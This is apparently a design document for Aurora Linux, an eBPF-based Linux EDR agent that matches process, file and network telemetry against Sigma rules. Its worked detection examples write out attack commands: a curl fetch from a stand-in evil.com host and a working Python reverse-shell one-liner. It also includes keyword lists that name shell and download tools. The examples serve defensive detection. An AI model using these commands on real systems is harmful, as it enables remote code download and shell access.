Aurora Linux

March 14, 2026 · View on GitHub

Aurora Linux is a standalone, open-source Linux EDR agent that collects system telemetry via eBPF, normalizes events into a Sigma-compatible schema, and matches them against Sigma rules in real time. Its architecture draws on the patterns established by the Windows-based Aurora agent (ETW + Sigma) but is an entirely separate codebase — no code is shared or imported from the Windows version.

Status note (2026-02-11): this document started as an implementation plan and contains historical design options. For current behavior and operational details, treat README.md and docs/DEVELOPER.md as source of truth.


Table of Contents

  1. Product Architecture
  2. Step 1: process_creation via eBPF
  3. Step 1 Field Mapping & Worked Examples
  4. Step 2: file_event via eBPF
  5. Step 3: network_connection via eBPF
  6. Performance, Safety & Deployment
  7. Testing Strategy
  8. Roadmap Beyond Steps 1–3

1. Product Architecture

1.1 Component Overview

                        KERNEL SPACE
┌──────────────────────────────────────────────────────┐
│                                                      │
│  eBPF Sensors                                        │
│  ┌────────────────────────────────────────────────┐  │
│  │ tracepoint/sched/sched_process_exec            │  │
│  │ tracepoint/syscalls/sys_{enter,exit}_openat    │  │
│  │ tracepoint/sock/inet_sock_set_state            │  │
│  └─────────────────────┬──────────────────────────┘  │
│                        │ BPF ring buffer              │
└────────────────────────┼─────────────────────────────┘

                    USER SPACE

┌────────────────────────▼─────────────────────────────┐
│  Userland Collector (eBPF Listener)                  │
│  • Reads ring buffer via cilium/ebpf ringbuf.Reader  │
│  • Reconstructs fields from /proc/PID/*              │
│  • Builds normalized DataFieldsMap                   │
└────────────────────────┬─────────────────────────────┘

┌────────────────────────▼─────────────────────────────┐
│  Normalizer / Mapper (Enricher + Correlator)         │
│  • Resolves parent process via LRU correlation cache │
│  • Maps UID → username                               │
│  • Reads loginuid, cwd                               │
│  • Caches process data for child→parent lookups      │
└────────────────────────┬─────────────────────────────┘

┌────────────────────────▼─────────────────────────────┐
│  Sigma Engine (SigmaConsumer)                        │
│  • Loads rules via go-sigma-rule-engine              │
│  • Evaluates ruleset against normalized events       │
│  • Evaluates detection logic                         │
│  • Throttles duplicate matches                       │
└────────────────────────┬─────────────────────────────┘

┌────────────────────────▼─────────────────────────────┐
│  Output Sinks                                        │
│  • Log file (JSON or text)                           │
│  • Stdout (for debugging / container use)            │
│  • (future: webhook, SIEM forwarding)                │
└──────────────────────────────────────────────────────┘

1.2 Proposed Repository Layout

aurora-linux/
├── cmd/
│   └── aurora/
│       ├── main.go                  CLI entry point (cobra), service lifecycle
│       └── agent/
│           ├── agent.go             Agent init/run: create distributor, register providers + consumers
│           └── parameters.go        CLI flags, config file loading
├── lib/
│   ├── provider/
│   │   ├── provider.go             EventProvider interface
│   │   └── ebpf/
│   │       ├── listener.go         eBPF Listener: Initialize, Close, AddSource, SendEvents, LostEvents
│   │       ├── event.go            ebpfEvent struct implementing Event + DataFields
│   │       ├── fieldmap.go         Field reconstruction: /proc reads, argv joining, UID→username
│   │       ├── procfs.go           /proc helpers: readExeLink, readCmdline, readCwd, readLoginUid
│   │       ├── usercache.go        UID-to-username LRU cache
│   │       ├── bpf/
│   │       │   ├── exec_monitor.c  BPF C program for sched_process_exec tracepoint
│   │       │   ├── file_monitor.c  BPF C program for openat enter/exit tracepoints
│   │       │   └── net_monitor.c   BPF C program for inet_sock_set_state tracepoint
│   │       ├── exec_monitor_bpfel.go   Generated by bpf2go (checked in)
│   │       ├── exec_monitor_bpfel.o    Generated by bpf2go (checked in)
│   │       ├── file_monitor_bpfel.go   Generated by bpf2go (checked in)
│   │       ├── file_monitor_bpfel.o    Generated by bpf2go (checked in)
│   │       ├── net_monitor_bpfel.go    Generated by bpf2go (checked in)
│   │       └── net_monitor_bpfel.o     Generated by bpf2go (checked in)
│   ├── distributor/
│   │   ├── distributor.go          Event routing: checkEvent → enrich → forward to consumers
│   │   ├── enricher.go             EventEnricher + ManipulatorFunc registry + Correlator setup
│   │   └── enrichments.go          Linux-specific enrichment registrations keyed by {ProviderName, EventID}
│   ├── enrichment/
│   │   ├── enricher.go             Core types: DataFields, DataFieldsMap, DataValue, AddField, RenameField
│   │   └── correlator.go           LRU-based cross-event correlation cache (parent process lookups)
│   ├── consumer/
│   │   └── sigma/
│   │       ├── sigmaconsumer.go    Sigma rule loading, sigmaEventWrapper, matching, throttling, output
│   │       └── loadrules.go        YAML rule file loading from directories
│   └── logging/
│       ├── jsonformatter.go        JSON log output (for SIEM ingestion)
│       └── textformatter.go        Human-readable log output
├── resources/
│   ├── log-sources/
│   │   ├── ebpf-log-sources.yml           Service → provider source string mapping
│   │   └── ebpf-log-source-mappings.yml   Sigma category → service + conditions mapping
│   └── sigma-rules/                       Bundled Sigma rule subset (optional)
├── deploy/
│   └── aurora.service                     systemd unit file
├── docs/
│   ├── plan_aurora_linux_ebpf_sigma.md    This document
│   └── plan_linux_ebpf_provider.md        Earlier draft (reference)
├── go.mod
├── go.sum
├── LICENSE                                GPL-3.0
└── .gitignore

1.3 Key Interfaces

These Go interfaces define the contract between components. They follow the same architectural pattern as Windows Aurora for consistency, but are defined fresh in this codebase.

// lib/provider/provider.go
type EventProvider interface {
    Name() string
    Description() string
    Initialize() error
    Close() error
    AddSource(source string) error
    SendEvents(callback func(event distributor.Event))
    LostEvents() uint64
}

// lib/distributor/distributor.go
type Event interface {
    ID() EventIdentifier
    Process() uint32
    Source() string
    Time() time.Time
    enrichment.DataFields
}

type EventIdentifier struct {
    ProviderName string
    EventID      uint16
}

type EventConsumer interface {
    Name() string
    Initialize() error
    HandleEvent(event Event) error
    Close() error
}

// lib/enrichment/enricher.go
type DataFields interface {
    Value(fieldname string) DataValue
    ForEach(func(key string, value string))
}

type DataValue struct {
    Valid  bool
    String string
}

type DataFieldsMap map[string]fmt.Stringer

1.4 Dependencies

DependencyPurpose
github.com/cilium/ebpf (v0.12+)Pure-Go eBPF: load BPF programs, read ring buffer, manage maps. No CGO. CO-RE via BTF. Used in Cilium, Tetragon, Falco.
github.com/markuskont/go-sigma-rule-engineSigma rule parsing and matching (public dependency).
github.com/sirupsen/logrusStructured logging to JSON/text output sinks.
github.com/spf13/cobraCLI framework for command-line flags and subcommands.
github.com/hashicorp/golang-lru/v2LRU cache for UID→username mapping and parent process correlation.
golang.org/x/time/rateRate limiter for Sigma match throttling (per-rule burst control).

1.5 Log Source Configuration

The repository includes resources/log-sources/*.yml files for compatibility with earlier Aurora mapping concepts. In the current implementation they are not consumed by the runtime Sigma path, which loads rules directly from directories.

resources/log-sources/ebpf-log-sources.yml — maps service names to provider source strings:

title: eBPF Sources
backends:
    - aurora-linux
logsources:
    linux-ebpf-process:
        product: linux
        service: ebpf-process
        sources:
            - "LinuxEBPF:ProcessExec"
    linux-ebpf-file:
        product: linux
        service: ebpf-file
        sources:
            - "LinuxEBPF:FileCreate"
    linux-ebpf-network:
        product: linux
        service: ebpf-network
        sources:
            - "LinuxEBPF:NetConnect"

resources/log-sources/ebpf-log-source-mappings.yml — maps Sigma categories to services:

title: eBPF Source Mappings
backends:
    - aurora-linux
logsources:
    linux_process_creation:
        category: process_creation
        product: linux
        conditions:
            EventID: 1
        rewrite:
            product: linux
            service: ebpf-process
    linux_file_event:
        category: file_event
        product: linux
        conditions:
            EventID: 11
        rewrite:
            product: linux
            service: ebpf-file
    linux_network_connection:
        category: network_connection
        product: linux
        conditions:
            EventID: 3
        rewrite:
            product: linux
            service: ebpf-network

The eBPF provider's AddSource() method recognizes the "LinuxEBPF:" prefix and enables the corresponding BPF program:

Source StringBPF Program Enabled
LinuxEBPF:ProcessExecsched_process_exec tracepoint
LinuxEBPF:FileCreatesys_enter_openat + sys_exit_openat tracepoints
LinuxEBPF:NetConnectinet_sock_set_state tracepoint

2. Step 1: process_creation via eBPF

2.1 Hook Selection

Chosen hook: tracepoint/sched/sched_process_exec

Criterionsched_process_exec (chosen)kprobe on sys_execveLSM BPFsyscalls/sys_{enter,exit}_execve
ABI stabilityStable tracepoint — format in /sys/kernel/debug/tracing/events/sched/sched_process_exec/formatUnstable: function symbols change between kernel versionsStable LSM interfaceStable but requires entry+exit pairing
Kernel compat4.7+All, but symbol names vary5.7+ and often disabled by distros (lockdown)4.7+
Fires onSuccessful exec only (after binary loaded, before first timeslice)Before exec — may fire on failed execs tooBefore exec — can deny (not our use case)Entry: before; Exit: after (must pair to filter failures)
Data availablebprm->filename, current->pid/ppid/uid/gid/commRaw syscall args (user pointers, fragile)Full bprm accessRaw args + return code
ComplexitySingle hook, no pairing neededSingle but ABI-unstableMedium, many distros disable LSM BPFHigh: must correlate entry/exit, filter failed execs

Justification: sched_process_exec fires exactly once per successful execve(), after the new binary is loaded but before it runs. At this point bprm->filename is reliably available and current points to the new process. No entry/exit pairing is needed, and there is no noise from failed execs. The tracepoint ABI is stable across kernel versions.

2.2 Minimum Kernel Version

Target: kernel 5.8+ (recommended), with degraded support down to 5.2.

FeatureMin KernelNotes
sched_process_exec tracepoint4.7Core hook
BTF / CO-RE (Compile Once Run Everywhere)5.2Required for portable BPF binaries
BPF_MAP_TYPE_RINGBUF5.8Preferred transport (globally ordered, memory-efficient)
CAP_BPF + CAP_PERFMON5.8Fine-grained caps instead of CAP_SYS_ADMIN

Distro coverage at 5.8+: Ubuntu 20.10+, RHEL 9+, Debian 11+, SLES 15 SP3+, Amazon Linux 2023+, Fedora 33+.

Fallback for 5.2–5.7: Use perf buffer (BPF_MAP_TYPE_PERF_EVENT_ARRAY) instead of ring buffer. Detection is automatic at BPF load time — if ring buffer creation fails, the code falls back to perf.Reader.

Below 5.2: Initialize() emits a clear error and the agent refuses to start:

FATAL: eBPF provider requires Linux kernel 5.2+ with BTF. Detected kernel X.Y. Cannot start.

There is no alternative telemetry source — eBPF is the sole provider.

2.3 BPF Program and Kernel-to-Userland Payload

BPF C Struct

// lib/provider/ebpf/bpf/exec_monitor.c

#define TASK_COMM_LEN   16
#define MAX_FILENAME    256

struct exec_event {
    __u64 timestamp_ns;          // bpf_ktime_get_ns()
    __u32 pid;                   // bpf_get_current_pid_tgid() >> 32  (tgid = userland PID)
    __u32 ppid;                  // current->real_parent->tgid
    __u32 uid;                   // bpf_get_current_uid_gid() & 0xFFFFFFFF
    __u32 gid;                   // bpf_get_current_uid_gid() >> 32
    char  comm[TASK_COMM_LEN];   // bpf_get_current_comm()
    char  filename[MAX_FILENAME]; // bprm->filename via bpf_probe_read_kernel_str
    __u32 filename_len;          // actual bytes written to filename
};

Size: ~300 bytes per event.

Design rationale — why NOT capture argv in kernel space:

  1. Reading variable-length argv arrays in BPF requires multiple bpf_probe_read_user() calls, is limited by BPF stack size and instruction count, and truncation is inevitable.
  2. /proc/PID/cmdline is the canonical, complete source — available from userland with no BPF complexity.
  3. Keeping the BPF program simple reduces verifier complexity and maximizes portability across kernel versions.

The BPF program captures the minimum needed to identify the event (pid, ppid, uid, filename). All richer fields are reconstructed in userland.

Lost Events Counter

A BPF_MAP_TYPE_ARRAY map with a single __u64 entry tracks dropped events:

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, __u64);
} lost_events SEC(".maps");

When bpf_ringbuf_reserve() returns NULL (buffer full), the BPF program atomically increments lost_events[0] and skips the event.

2.4 Transport: BPF Ring Buffer

Choice: BPF_MAP_TYPE_RINGBUF (kernel 5.8+)

AspectRing BufferPerf Buffer
AllocationSingle shared bufferPer-CPU buffers (wastes memory on many-core systems)
Event orderingGlobally orderedPer-CPU only — no global ordering guarantee
Memory efficiencyVariable-size reserve/commit, no padding wasteFixed-size per-CPU rings, padding overhead
Backpressurebpf_ringbuf_reserve() returns NULL when full → drop + countOverwrite or drop mode
Go APIcilium/ebpf ringbuf.Readercilium/ebpf perf.Reader

Why global ordering matters: When process A execs and its child B execs immediately after, the ring buffer guarantees A's event is read before B's. This is critical for parent chain resolution — B's parent data lookup hits the cache populated by A's event.

Default buffer size: 8 MB (2,048 pages). At ~300 bytes/event, this holds ~28,000 events. On a server executing 1,000 processes/second, that is ~28 seconds of buffer. The Go reader goroutine drains events in microseconds, so overflow is extremely unlikely under normal load.

2.5 Go eBPF Library: cilium/ebpf

Choice: github.com/cilium/ebpf (latest stable, v0.12+)

  • Pure Go — no CGO dependency (unlike libbpf-go which wraps C libbpf)
  • CO-RE support via BTF for cross-kernel portability
  • bpf2go code generation tool produces Go types and loader code
  • First-class ringbuf.Reader and perf.Reader
  • Production-proven in Cilium, Tetragon, Falco, Datadog Agent

Code generation via //go:generate:

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go -target bpfel -cc clang \
    execMonitor bpf/exec_monitor.c -- -I/usr/include

This produces:

  • exec_monitor_bpfel.go — Go types + loader (loadExecMonitorObjects())
  • exec_monitor_bpfel.o — Compiled BPF ELF object

Both are checked into the repo so that go build works without clang installed.

2.6 Userland Field Reconstruction

For each exec_event received from the ring buffer, the Go reader goroutine reconstructs the full set of Sigma-facing fields:

Image

  • Primary: os.Readlink("/proc/<PID>/exe") — returns the absolute path of the loaded binary (e.g., /usr/bin/python3).
  • Fallback: If the process already exited before the read (rare — the tracepoint fires before the process gets its first timeslice), use bprm->filename from the BPF event. If that path is relative, prepend the working directory.
  • Why not just bprm->filename?: It may be relative (./malware), may reference a symlink, or may be truncated at 256 bytes.

CommandLine

  • Source: os.ReadFile("/proc/<PID>/cmdline"), read up to 32,768 bytes.
  • Format: /proc/PID/cmdline uses NUL as argument separator. Join with spaces: strings.ReplaceAll(string(data), "\x00", " "), then strings.TrimRight(result, " ").
  • Truncation: If the read fills the entire 32 KB buffer, append " ...(truncated)" and set CommandLineTruncated = "true".
  • Empty: If the process already exited, CommandLine is empty string.

ParentImage

  • Primary: Look up in the correlation cache first. If we previously processed the parent's own exec event, its Image is cached.
  • Fallback: os.Readlink("/proc/<PPID>/exe")

ParentCommandLine

  • Primary: Correlation cache (best source — has the command line at the time the parent exec'd).
  • Fallback: /proc/<PPID>/cmdline (may be stale if parent re-exec'd since).

User

  • Source: BPF provides uid via bpf_get_current_uid_gid().
  • Mapping: os/user.LookupId(strconv.Itoa(uid)) → username string.
  • Cache: LRU cache mapping uint32 → string. Most systems have few UIDs, so cache hit rate is very high.
  • Format: String (e.g., "root", "www-data").

LogonId

  • Source: Linux audit login UID (auid), read from /proc/<PID>/loginuid.
  • Value: Integer as string (e.g., "0" for root, "1000" for a regular user). The special value 4294967295 means "not set" → stored as empty string.

CurrentDirectory

  • Source: os.Readlink("/proc/<PID>/cwd")
  • Timing: At tracepoint time the new process has not yet run, so its cwd is inherited from the parent — this is reliable.

ProcessId / ParentProcessId

  • Source: BPF pid (tgid) and ppid fields, stored as decimal string.
  • Note: Not typically used in Sigma detection clauses but included in every event for correlation, enrichment, and forensic context.

3. Step 1 Field Mapping & Worked Examples

3.1 process_creation: Full Field Mapping Table

#Sigma FieldDerived FromStored As (DataFieldsMap Key)Example Value
1Image/proc/PID/exe symlink; fallback: BPF filename"Image"/usr/bin/base64
2CommandLine/proc/PID/cmdline, NUL bytes replaced with spaces"CommandLine"base64 -d /tmp/payload.b64
3ParentImageCorrelation cache → /proc/PPID/exe fallback"ParentImage"/bin/bash
4ParentCommandLineCorrelation cache → /proc/PPID/cmdline"ParentCommandLine"bash -c ./exploit.sh
5UserBPF uidos/user.LookupId()"User"root
6LogonId/proc/PID/loginuid (audit auid)"LogonId"0
7CurrentDirectory/proc/PID/cwd symlink"CurrentDirectory"/tmp

Additional internal fields (not referenced by Sigma rules but needed for correlation and logging):

FieldSourceKeyPurpose
ProcessIdBPF pid (tgid)"ProcessId"Correlation, parent cache key
ParentProcessIdBPF ppid"ParentProcessId"Parent chain resolution
EventIDHardcoded 1Event.ID().EventIDLog source routing, enricher dispatch
Provider_Name"LinuxEBPF"Event.ID().ProviderNameProvider identification
TimestampBPF ktime_get_ns() → wall clockEvent.Time()Event ordering
CommandLineTruncatedSet when cmdline > 32 KB"CommandLineTruncated"Analyst visibility

3.2 Sigma Field Coverage vs. Rule Corpus

Analysis of all 119 rules in sigma/rules/linux/process_creation/:

Sigma Field# Rules Using ItProvided?Notes
Image~110YesFull coverage
CommandLine~100YesFull (truncation note for >32 KB)
ParentImage~15YesFull (cache miss note for very early processes)
ParentCommandLine~5YesBest-effort (cache-dependent; /proc fallback may be stale)
User~3YesFull
LogonId~1YesFull (audit loginuid)
CurrentDirectory~1YesFull

100% of Sigma fields used in the Linux process_creation rule corpus are covered.

3.3 Worked Example 1: Base64 Decode Detection

Rule: proc_creation_lnx_base64_decode.yml

title: Decode Base64 Encoded Text
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/base64'
        CommandLine|contains: '-d'
    condition: selection
level: low

Scenario: An attacker decodes a base64-encoded payload on a compromised host:

base64 -d /tmp/encoded_payload.b64 > /tmp/malware

Step-by-step through the pipeline:

  1. BPF event received from ring buffer:

    exec_event {
        timestamp_ns: 1707600000000000000
        pid:          8421
        ppid:         8400
        uid:          0
        gid:          0
        comm:         "base64"
        filename:     "/usr/bin/base64"
        filename_len: 16
    }
    
  2. Userland /proc reads:

    /proc/8421/exe      → "/usr/bin/base64"
    /proc/8421/cmdline  → "base64\x00-d\x00/tmp/encoded_payload.b64\x00"
    /proc/8421/cwd      → "/tmp"
    /proc/8421/loginuid → "0"
    /proc/8400/exe      → "/bin/bash"          (from correlation cache)
    /proc/8400/cmdline  → "bash\x00"           (from correlation cache)
    os/user.LookupId(0) → "root"
    
  3. Normalized DataFieldsMap:

    "Image"             = "/usr/bin/base64"
    "CommandLine"       = "base64 -d /tmp/encoded_payload.b64"
    "ParentImage"       = "/bin/bash"
    "ParentCommandLine" = "bash"
    "User"              = "root"
    "LogonId"           = "0"
    "CurrentDirectory"  = "/tmp"
    "ProcessId"         = "8421"
    "ParentProcessId"   = "8400"
    
  4. Sigma evaluation:

    Image|endswith: '/base64'
      → "/usr/bin/base64" endswith "/base64" → MATCH
    
    CommandLine|contains: '-d'
      → "base64 -d /tmp/encoded_payload.b64" contains "-d" → MATCH
    
    condition: selection → ALL conditions met → DETECTION at level low
    
  5. Output (JSON format):

    {
      "level": "low",
      "rule": "Decode Base64 Encoded Text",
      "rule_id": "e2072cab-8c9a-459b-b63c-40ae79e27031",
      "Image": "/usr/bin/base64",
      "CommandLine": "base64 -d /tmp/encoded_payload.b64",
      "User": "root",
      "ProcessId": "8421",
      "ParentProcessId": "8400",
      "ParentImage": "/bin/bash",
      "timestamp": "2025-02-11T12:00:00.000Z"
    }
    

3.4 Worked Example 2: Suspicious Java Child Process

Rule: proc_creation_lnx_susp_java_children.yml

title: Suspicious Java Children Processes
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/java'
        CommandLine|contains:
            - '/bin/sh'
            - 'bash'
            - 'dash'
            - 'ksh'
            - 'zsh'
            - 'csh'
            - 'fish'
            - 'curl'
            - 'wget'
            - 'python'
    condition: selection
level: high

Scenario: A vulnerable Java application (e.g., Log4Shell) spawns curl to download a second-stage payload:

java -jar /opt/webapp/app.jar  (PID 5000)
  └─ curl http://evil.com/payload.sh -o /tmp/payload.sh  (PID 5042)

Step-by-step through the pipeline:

  1. BPF event for PID 5042:

    exec_event {
        timestamp_ns: 1707600100000000000
        pid:          5042
        ppid:         5000
        uid:          1001
        gid:          1001
        comm:         "curl"
        filename:     "/usr/bin/curl"
        filename_len: 13
    }
    
  2. Userland /proc reads:

    /proc/5042/exe      → "/usr/bin/curl"
    /proc/5042/cmdline  → "curl\x00http://evil.com/payload.sh\x00-o\x00/tmp/payload.sh\x00"
    /proc/5042/cwd      → "/opt/webapp"
    /proc/5042/loginuid → "4294967295"  (unset → empty string)
    
  3. Parent resolution — PID 5000 (Java) was previously observed by the eBPF listener when it exec'd. Its data is in the correlation cache:

    cache[5000].Image        = "/usr/lib/jvm/java-17-openjdk/bin/java"
    cache[5000].CommandLine   = "java -jar /opt/webapp/app.jar"
    os/user.LookupId(1001)   → "webapp"
    
  4. Normalized DataFieldsMap:

    "Image"             = "/usr/bin/curl"
    "CommandLine"       = "curl http://evil.com/payload.sh -o /tmp/payload.sh"
    "ParentImage"       = "/usr/lib/jvm/java-17-openjdk/bin/java"
    "ParentCommandLine" = "java -jar /opt/webapp/app.jar"
    "User"              = "webapp"
    "LogonId"           = ""
    "CurrentDirectory"  = "/opt/webapp"
    "ProcessId"         = "5042"
    "ParentProcessId"   = "5000"
    
  5. Sigma evaluation:

    ParentImage|endswith: '/java'
      → "/usr/lib/jvm/java-17-openjdk/bin/java" endswith "/java" → MATCH
    
    CommandLine|contains: (any of list)
      'curl' → "curl http://evil.com/payload.sh -o /tmp/payload.sh" contains "curl" → MATCH
      (first match wins for OR-list)
    
    condition: selection → ALL conditions met → DETECTION at level high
    

3.5 Worked Example 3: Python Reverse Shell (bonus)

Rule: proc_creation_lnx_python_reverse_shell.yml

title: Python Reverse Shell Execution Via PTY And Socket Modules
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|contains: 'python'
        CommandLine|contains|all:
            - ' -c '
            - 'import'
            - 'pty'
            - 'socket'
            - 'spawn'
            - '.connect'
    condition: selection
level: high

Scenario: Attacker on a compromised web server:

python3 -c 'import socket,pty;s=socket.socket();s.connect(("10.0.0.1",4444));pty.spawn("/bin/bash")'

Normalized DataFieldsMap:

"Image"             = "/usr/bin/python3"
"CommandLine"       = "python3 -c import socket,pty;s=socket.socket();s.connect((\"10.0.0.1\",4444));pty.spawn(\"/bin/bash\")"
"ParentImage"       = "/bin/bash"
"ParentCommandLine" = "bash"
"User"              = "www-data"
"CurrentDirectory"  = "/var/www/html"

Sigma evaluation:

Image|contains: 'python'
  → "/usr/bin/python3" contains "python" → MATCH

CommandLine|contains|all:  (ALL must match)
  ' -c '    → MATCH    'import'  → MATCH    'pty'     → MATCH
  'socket'  → MATCH    'spawn'   → MATCH    '.connect' → MATCH

condition: selection → DETECTION at level high

3.6 Worked Example 4: Linux Webshell Indicators (bonus)

Rule: proc_creation_lnx_webshell_detection.yml

title: Linux Webshell Indicators
logsource:
    product: linux
    category: process_creation
detection:
    selection_general:
        ParentImage|endswith:
            - '/httpd'
            - '/lighttpd'
            - '/nginx'
            - '/apache2'
            - '/node'
            - '/caddy'
    selection_tomcat:
        ParentCommandLine|contains|all:
            - '/bin/java'
            - 'tomcat'
    sub_processes:
        Image|endswith:
            - '/whoami'
            - '/ifconfig'
            - '/ip'
            - '/bin/uname'
            - '/bin/cat'
            - '/bin/crontab'
            - '/hostname'
            - '/iptables'
            - '/netstat'
            - '/pwd'
            - '/route'
    condition: 1 of selection_* and sub_processes
level: high

Scenario: Apache spawns whoami via a web shell:

/usr/sbin/apache2 (PID 1000) → /usr/bin/whoami (PID 1002)

Normalized DataFieldsMap for PID 1002:

"Image"             = "/usr/bin/whoami"
"CommandLine"       = "whoami"
"ParentImage"       = "/usr/sbin/apache2"
"ParentCommandLine" = "/usr/sbin/apache2 -k start"
"User"              = "www-data"

Sigma evaluation:

selection_general:
  ParentImage|endswith: '/apache2'
    → "/usr/sbin/apache2" endswith "/apache2" → MATCH

sub_processes:
  Image|endswith: '/whoami'
    → "/usr/bin/whoami" endswith "/whoami" → MATCH

condition: 1 of selection_* and sub_processes
  → selection_general MATCHED AND sub_processes MATCHED → DETECTION at level high

4. Step 2: file_event via eBPF

4.1 Sigma Rule Corpus Analysis

Target: 8 rules in sigma/rules/linux/file_event/

Rule FileDetection FocusKey Fields Used
file_event_lnx_doas_conf_creation.ymldoas.conf creation (priv-esc)TargetFilename|endswith: '/etc/doas.conf'
file_event_lnx_persistence_cron_files.ymlCron persistenceTargetFilename|startswith: '/etc/cron.d/', ... and TargetFilename|contains: '/etc/crontab'
file_event_lnx_persistence_sudoers_files.ymlSudoers persistenceTargetFilename|startswith: '/etc/sudoers.d/'
file_event_lnx_susp_filename_with_embedded_base64_command.ymlVShell-style embedded payloadsTargetFilename|contains: '{echo', '{base64,-d}'
file_event_lnx_triple_cross_rootkit_lock_file.ymlTripleCross rootkit lockTargetFilename: '/tmp/rootlog'
file_event_lnx_triple_cross_rootkit_persistence.ymlTripleCross persistenceTargetFilename|endswith: 'ebpfbackdoor'
file_event_lnx_susp_shell_script_under_profile_directory.ymlShell scripts in profile.dTargetFilename|contains: '/etc/profile.d/' and TargetFilename|endswith: '.sh', '.csh'
file_event_lnx_wget_download_file_in_tmp_dir.ymlwget downloads to /tmpImage|endswith: '/wget' and TargetFilename|startswith: '/tmp/', '/var/tmp/'

Complete Sigma field inventory across all 8 rules:

Sigma FieldModifiers Used# Rules
TargetFilenameexact, |endswith, |startswith, |contains8 (all rules)
Image|endswith1 rule

4.2 Hook Selection

Chosen hooks: tracepoint/syscalls/sys_enter_openat + tracepoint/syscalls/sys_exit_openat (paired)

Criterionsys_{enter,exit}_openat (chosen)security_file_open (LSM)kprobe on vfs_createinotify (userland)
ABI stabilityStable tracepoint (syscall ABI)LSM BPF requires 5.7+, distro lockdown riskUnstable: internal kernel functionN/A (not eBPF)
Kernel compat4.7+5.7+ (often disabled)FragileN/A
Fires onAll openat() calls (filter by flags)All file opens after security checkOnly creat()-style createsFile system events (limited)
Data availableFilename pointer, flags, dfd, return value (exit)Full struct file accessDentry + inodePath only
FilteringBPF-side flag check (O_CREAT) and path prefix mapPost-open, harder to filterNarrow scopeWatch-based
ComplexityMedium: enter/exit pairing neededMedium but restricted kernelsSingle hook but unstableNot applicable for eBPF agent

Justification: The openat syscall tracepoints are the most portable and stable way to observe file creation on Linux. By pairing sys_enter_openat (capture filename and flags) with sys_exit_openat (check return value), we can:

  1. Filter for O_CREAT flag to focus on file creation (not just reads).
  2. Only emit events for successful operations (return value ≥ 0).
  3. Discard failed attempts (EACCES, ENOENT) that would be false positives.

The openat2 syscall (kernel 5.6+) is also traced via a separate tracepoint pair using the same logic. Classic open() redirects to openat() internally on modern kernels, so a single pair covers both.

4.3 BPF Program Design

Enter/Exit Pairing via Per-CPU Hash

// lib/provider/ebpf/bpf/file_monitor.c

#define MAX_FILENAME    256
#define MAX_WATCHED_DIRS 32

struct file_open_args {
    char  filename[MAX_FILENAME];
    __u32 filename_len;
    __u32 flags;
    __s32 dfd;         // directory file descriptor (AT_FDCWD = -100)
};

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 10240);
    __type(key, __u64);            // pid_tgid
    __type(value, struct file_open_args);
} openat_args SEC(".maps");

struct file_event {
    __u64 timestamp_ns;
    __u32 pid;
    __u32 uid;
    __s32 dfd;                     // for userland path resolution
    __u32 flags;                   // O_CREAT, O_WRONLY, O_TRUNC, etc.
    char  filename[MAX_FILENAME];
    __u32 filename_len;
};

Size: ~284 bytes per event.

BPF Program Flow

sys_enter_openat:
  1. Read flags argument
  2. If !(flags & O_CREAT) → return (skip non-create opens)
  3. Read filename from userspace pointer → store in openat_args map
  4. Key = bpf_get_current_pid_tgid()

sys_exit_openat:
  1. Lookup openat_args[pid_tgid]
  2. If not found → return (was not a tracked open)
  3. Delete entry from map
  4. Read return value → if < 0, discard (failed open)
  5. Populate file_event struct from stored args + current task
  6. Submit to ring buffer

BPF-Side Path Prefix Filtering

To control event volume, the BPF program supports an optional path prefix allowlist:

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, MAX_WATCHED_DIRS);
    __type(key, char[64]);         // prefix string (e.g., "/etc/", "/tmp/")
    __type(value, __u8);           // 1 = watched
} watched_dirs SEC(".maps");

When the map is empty, all O_CREAT events are emitted (no filtering). When populated, only filenames matching a watched prefix are emitted. This is configurable at runtime from userland by writing to the BPF map.

Default watched directories (populated at startup):

/etc/          → cron, sudoers, doas.conf, profile.d, passwd, shadow
/tmp/          → rootkit lock files, staged payloads
/var/tmp/      → staged payloads
/var/spool/    → cron spool
/root/         → root home directory modifications
/home/         → user home directory modifications

4.4 Userland Field Reconstruction

TargetFilename

  • Primary: The BPF event provides the raw filename from the openat() argument and the dfd (directory file descriptor).
  • Path resolution:
    • If filename starts with / → it is absolute, use directly.
    • If dfd == AT_FDCWD (-100) → resolve relative to /proc/PID/cwd.
    • Otherwise → resolve relative to /proc/PID/fd/<dfd> (readlink on the fd).
  • Symlink resolution: filepath.EvalSymlinks() to canonicalize the path.
  • Example: openat(AT_FDCWD, "cron.d/malicious_job", O_CREAT|O_WRONLY) with cwd /etc → TargetFilename = /etc/cron.d/malicious_job

Image

  • Source: /proc/PID/exe (same as process_creation).
  • Cache: Reuses the process correlation cache from Step 1. If the process was previously seen in a process_creation event, its Image is already cached.

User

  • Source: BPF uidos/user.LookupId() (same cache as process_creation).

4.5 file_event: Full Field Mapping Table

#Sigma FieldDerived FromStored As (DataFieldsMap Key)Example Value
1TargetFilenameBPF filename + dfd, resolved to absolute path"TargetFilename"/etc/cron.d/malicious_job
2Image/proc/PID/exe (or process correlation cache)"Image"/usr/bin/wget

Additional internal fields:

FieldSourceKeyPurpose
UserBPF uid → username"User"Forensic context
ProcessIdBPF pid"ProcessId"Correlation
EventIDHardcoded 11Event.ID().EventIDLog source routing
Provider_Name"LinuxEBPF"Event.ID().ProviderNameProvider identification
FileFlagsBPF flags (O_CREAT, O_WRONLY, etc.)"FileFlags"Forensic context (not in Sigma rules)

4.6 Sigma Field Coverage

Sigma Field# Rules Using ItProvided?Notes
TargetFilename8 (all rules)YesFull coverage with all modifiers (exact, endswith, startswith, contains)
Image1YesFull coverage

100% of Sigma fields used in the Linux file_event rule corpus are covered.

4.7 Worked Example: Persistence via Cron Files

Rule: file_event_lnx_persistence_cron_files.yml

title: Persistence Via Cron Files
logsource:
    product: linux
    category: file_event
detection:
    selection1:
        TargetFilename|startswith:
            - '/etc/cron.d/'
            - '/etc/cron.daily/'
            - '/etc/cron.hourly/'
            - '/etc/cron.monthly/'
            - '/etc/cron.weekly/'
            - '/var/spool/cron/crontabs/'
    selection2:
        TargetFilename|contains:
            - '/etc/cron.allow'
